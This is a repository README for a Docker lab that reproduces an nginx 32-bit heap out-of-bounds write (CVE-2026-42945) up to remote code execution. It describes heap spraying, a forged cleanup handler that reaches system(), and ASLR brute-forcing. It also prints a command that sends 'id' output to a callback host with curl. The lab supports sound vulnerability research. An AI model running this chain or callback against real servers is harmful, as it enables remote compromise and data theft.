dinosn/cve-2026-42945-nginx32-lab

GitHub: dinosn/cve-2026-42945-nginx32-lab

针对 CVE-2026-42945 nginx 32 位漏洞的可复现 Docker 实验室,涵盖从堆越界写入原语到远程代码执行完整利用链的研究环境。

Stars: 0 | Forks: 0

# CVE-2026-42945 nginx 32 位漏洞利用实验室 本仓库是一个可复现的 Docker 实验室,用于在 nginx 1.30.0 中研究 CVE-2026-42945。它包含一个存在漏洞的 32 位目标、一个基础原语触发器、 一个基于已知地址的实验室辅助 RCE 验证器,以及一个无内省的暴力破解驱动程序。 漏洞证明的边界很重要: - `exploit/trigger_oob.py` 演示了堆 OOB(越界)写入原语。 - `exploit/lab_known_address.py` 在 Docker 中证明了 RCE 机制,但它是 实验室辅助的,因为它通过 `docker exec` 读取了 `/proc//maps`。 - `exploit/remote_bruteforce.py` 不使用 SSH、Docker、`/proc`、ptrace 或 已知地址。它暴力枚举 SAFE 堆页和 libc 页候选项,并将 出站回调作为唯一的成功信号。 远程暴力破解路径仍然依赖于当前的 nginx master ASLR 布局。如果内存喷射地址无法由所需的 URI 安全字节 字母表表示,则一轮完整的遍历将会失败,直到 nginx 主进程被重启或 重新加载且 ASLR 被重新分配为止。与已知地址验证器一样,完整的 RCE 路径应当在原生的 x86 Linux Docker 主机上运行,而不是在 QEMU 模拟的 Docker Desktop 目标上运行。 ## 环境要求 - 带有 Compose 支持的 Docker。 - Linux/386 容器支持。 - 对于完整的已知地址 RCE 验证器,请使用原生的 x86 Linux Docker 主机, 在该主机上 `/proc//maps` 会暴露 nginx worker 真实的 32 位地址 布局。非 x86 主机上的 Docker Desktop 可能会在 `qemu-i386` 下运行目标; 这足以验证 OOB 崩溃,但无法进行已知地址的 RCE 数学计算。 - 主机上需要安装 Python 3 以运行漏洞利用脚本。 ## 快速开始 构建并启动存在漏洞的 32 位 nginx 实验室: ``` docker compose up -d --build curl http://127.0.0.1:19331/ ``` 触发受控的 OOB 写入: ``` python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char + docker logs cve-2026-42945-nginx32 --tail 20 ``` 运行确定性的 Docker 专用 RCE 验证器: ``` python3 exploit/lab_known_address.py --restart-until-safe ``` 运行无内省的暴力破解驱动程序: ``` python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \ --shuffle --seed 42945 \ --attempt-delay 0.02 \ --batch-size 5000 --batch-cooldown 10 \ --progress-every 1000 ``` `host.docker.internal` 被用作回调主机,因此嵌入在 nginx worker 中的命令可以将 `id` 的输出 POST 回由 漏洞利用脚本启动的监听器。Compose 文件为 Linux Docker 引擎映射了此名称。 ## 漏洞利用演练 ### 1. 构建并启动实验室 ![构建并启动 32 位实验室](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/2f26f61de2172749.png) Compose 目标将 nginx 1.30.0 构建为 32 位发布版风格的二进制文件,并 在 `127.0.0.1:19331` 上启动它。一个普通的 `GET /` 请求会返回 `ok`,从而证明在 漏洞利用开始之前目标是可达的。 ### 2. 触发 OOB 写入 ![触发存在漏洞的 rewrite 路径](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/b83b819635172755.png) 触发器通过存在漏洞的 `rewrite` 加上 `set $myvar $1` 路径,发送一个由 `+` 字节组成的被捕获的 URI 片段。`+` 会被 `NGX_ESCAPE_ARGS` 转义, 因此拷贝过程会为每个一字节的输入写入三个字节。 脚本在发送请求之前会打印预期的溢出大小。 ### 3. 在实验室辅助下验证 RCE ![在 Docker 辅助下验证 RCE 机制](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/ee9db505e8172802.png) 已知地址验证器是有意提供辅助的。它从 Docker 容器中读取活跃的 worker 堆和 libc 映射,计算出伪造的 cleanup 处理程序地址,发送相同的传输层漏洞利用序列,并等待 回调。`uid=65534(nobody)` 的输出是 nginx worker 执行 `id` 的结果。 此截图来自原生的 x86 Docker 运行环境;在非 x86 的 Docker Desktop 设置中,脚本可能会停止,并提示需要 `qemu-i386` 原生主机环境。 ### 4. 运行纯远程的暴力破解路径 ![运行无内省的暴力破解路径](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/94135c19c8172811.png) 远程暴力破解脚本移除了仅限实验室环境的地址读取操作。它枚举 SAFE 堆页候选项和 libc 页候选项,并仅将回调 用作成功的判断依据。如果在没有收到回调的情况下结束了一轮完整遍历,这并不能推翻 原语的可用性;这通常意味着当前的 nginx 主进程布局对 此负载字母表不利,或者需要通过主进程重启/重新加载来 重新分配 ASLR。 ## RCE 序列的工作原理 该漏洞利用使用了三个并发的请求角色: 1. `/spray` 保持请求体分配处于活动状态,并在 nginx worker 堆 内存中放置一个伪造的 `ngx_pool_cleanup_t` 记录以及回调命令。 2. `/api/` 到达存在漏洞的 rewrite 脚本,并延迟最终的 请求终止符,直到受害请求准备就绪。 3. `/` 创建相邻的请求池,其 `cleanup` 指针是 受控 OOB 写入的目标。 当被破坏的请求池被销毁时,nginx 会跟随被覆盖的 cleanup 指针。在实验室的 RCE 路径中,伪造的 cleanup 处理程序指向 `system()`,其数据指针指向: ``` id|curl -sm3 -d @- http://host.docker.internal:9876/rce ``` 漏洞利用监听器将该 POST 视为唯一的 RCE 成功信号。 ## 清理 ``` docker compose down ``` ## 安全提示 本实验室仅用于授权的安全验证和教育目的。请将其隔离运行, 不要将实验室端口暴露给不受信任的网络,也不要对您不拥有或 没有明确测试权限的系统运行该漏洞利用。
标签:32位漏洞, ASLR绕过, CISA项目, CVE复现, Docker靶场, Nginx漏洞, PoC, Python PoC, RCE验证, x86安全, 内存安全, 堆喷射, 堆越界写, 安全实验, 情报收集, 数据展示, 暴力破解, 漏洞研究, 红队, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护